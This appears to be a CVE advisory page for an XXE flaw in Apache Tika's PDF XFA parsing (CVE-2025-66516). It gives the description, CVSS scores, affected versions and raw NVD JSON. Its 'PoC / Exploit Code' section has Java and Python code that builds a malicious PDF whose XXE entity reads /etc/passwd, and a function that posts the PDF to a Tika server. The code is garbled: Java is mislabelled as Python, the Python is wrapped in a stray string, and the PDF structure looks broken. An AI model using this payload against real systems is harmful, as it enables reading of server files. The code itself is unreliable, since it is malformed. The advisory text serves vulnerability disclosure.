Security Vulnerability Report
中文
CVE-2025-66516 CVSS 8.4 HIGH

CVE-2025-66516

Published: 2025-12-04 17:15:57
Last Modified: 2025-12-30 16:15:46

Description

Critical XXE in Apache Tika tika-core (1.13-3.2.1), tika-pdf-module (2.0.0-3.2.1) and tika-parsers (1.13-1.28.5) modules on all platforms allows an attacker to carry out XML External Entity injection via a crafted XFA file inside of a PDF. This CVE covers the same vulnerability as in CVE-2025-54988. However, this CVE expands the scope of affected packages in two ways. First, while the entrypoint for the vulnerability was the tika-parser-pdf-module as reported in CVE-2025-54988, the vulnerability and its fix were in tika-core. Users who upgraded the tika-parser-pdf-module but did not upgrade tika-core to >= 3.2.2 would still be vulnerable. Second, the original report failed to mention that in the 1.x Tika releases, the PDFParser was in the "org.apache.tika:tika-parsers" module.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:tika:*:*:*:*:*:*:*:* - VULNERABLE
Apache Tika tika-core < 3.2.2 (1.13 - 3.2.1)
Apache Tika tika-pdf-module < 3.2.2 (2.0.0 - 3.2.1)
Apache Tika tika-parsers < 1.28.6 (1.13 - 1.28.5)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; /** * CVE-2025-66516 PoC - XXE in Apache Tika PDF XFA Parsing * This PoC demonstrates how to create a malicious PDF with XFA XXE payload */ public class TikaXXEPoC { // XXE payload to read /etc/passwd private static final String XXE_PAYLOAD = "<!DOCTYPE pdf [" + " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">" + "]>" + "<xfa:data xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0\">" + " <document>&xxe;</document>" + "</xfa:data>"; public static byte[] createMaliciousPDF() { // Create minimal PDF structure with XFA stream containing XXE payload StringBuilder pdf = new StringBuilder(); pdf.append("%PDF-1.4\n"); pdf.append("1 0 obj<</Type/Catalog/Names<</XFA %XXE_REF%>>>>\nendobj\n"); pdf.append("%%EOF"); return pdf.toString().replace("%XXE_REF%", XXE_PAYLOAD).getBytes(); } public static void main(String[] args) throws IOException { byte[] maliciousPdf = createMaliciousPDF(); try (FileOutputStream fos = new FileOutputStream("malicious.pdf")) { fos.write(maliciousPdf); } System.out.println("Malicious PDF created: malicious.pdf"); System.out.println("XXE Payload embedded: file:///etc/passwd"); } } # Alternative Python PoC using Tika server API ''' import requests CVE-2025-66516 PoC - Apache Tika XXE via crafted PDF ''' def create_xxe_pdf(): """Create a minimal PDF with XXE payload in XFA""" xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xfa:data xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0"> <test>&xxe;</test> </xfa:data>''' # Minimal malicious PDF structure pdf_content = f"""%PDF-1.4 1 0 obj<</Type/Catalog/Pages 2 0 R/XFA<</Length {len(xxe_payload)}>>>> endobj 2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>> endobj 3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>> endobj stream {xxe_payload} endstream xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n trailer<</Size 4/Root 1 0 R>> startxref {200 + len(xxe_payload)} %%EOF""" with open('cve_2025_66516.pdf', 'w') as f: f.write(pdf_content) return 'cve_2025_66516.pdf' def exploit_tika(url, pdf_file): """Send malicious PDF to Tika server""" with open(pdf_file, 'rb') as f: files = {'file': f} headers = {'Accept': 'text/plain'} response = requests.post(f'{url}/tika', files=files, headers=headers) print(f"Response status: {response.status_code}") print(f"Response content: {response.text[:500]}") if __name__ == '__main__': pdf_file = create_xxe_pdf() print(f"Created: {pdf_file}") # Usage: exploit_tika('http://localhost:9998', pdf_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66516", "sourceIdentifier": "[email protected]", "published": "2025-12-04T17:15:57.120", "lastModified": "2025-12-30T16:15:46.230", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Critical XXE in Apache Tika tika-core (1.13-3.2.1), tika-pdf-module (2.0.0-3.2.1) and tika-parsers (1.13-1.28.5) modules on all platforms allows an attacker to carry out XML External Entity injection via a crafted XFA file inside of a PDF. \n\nThis CVE covers the same vulnerability as in CVE-2025-54988. However, this CVE expands the scope of affected packages in two ways. \n\nFirst, while the entrypoint for the vulnerability was the tika-parser-pdf-module as reported in CVE-2025-54988, the vulnerability and its fix were in tika-core. Users who upgraded the tika-parser-pdf-module but did not upgrade tika-core to >= 3.2.2 would still be vulnerable. \n\nSecond, the original report failed to mention that in the 1.x Tika releases, the PDFParser was in the \"org.apache.tika:tika-parsers\" module."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tika:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.13", "versionEndExcluding": "3.2.2", "matchCriteriaId": "06E31452-81F9-4B50-A6E1-EE8FE3E148BD"}]}]}], "references": [{"url": "https://cve.org/CVERecord?id=CVE-2025-54988", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://lists.apache.org/thread/s5x3k93nhbkqzztp1olxotoyjpdlps9k", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}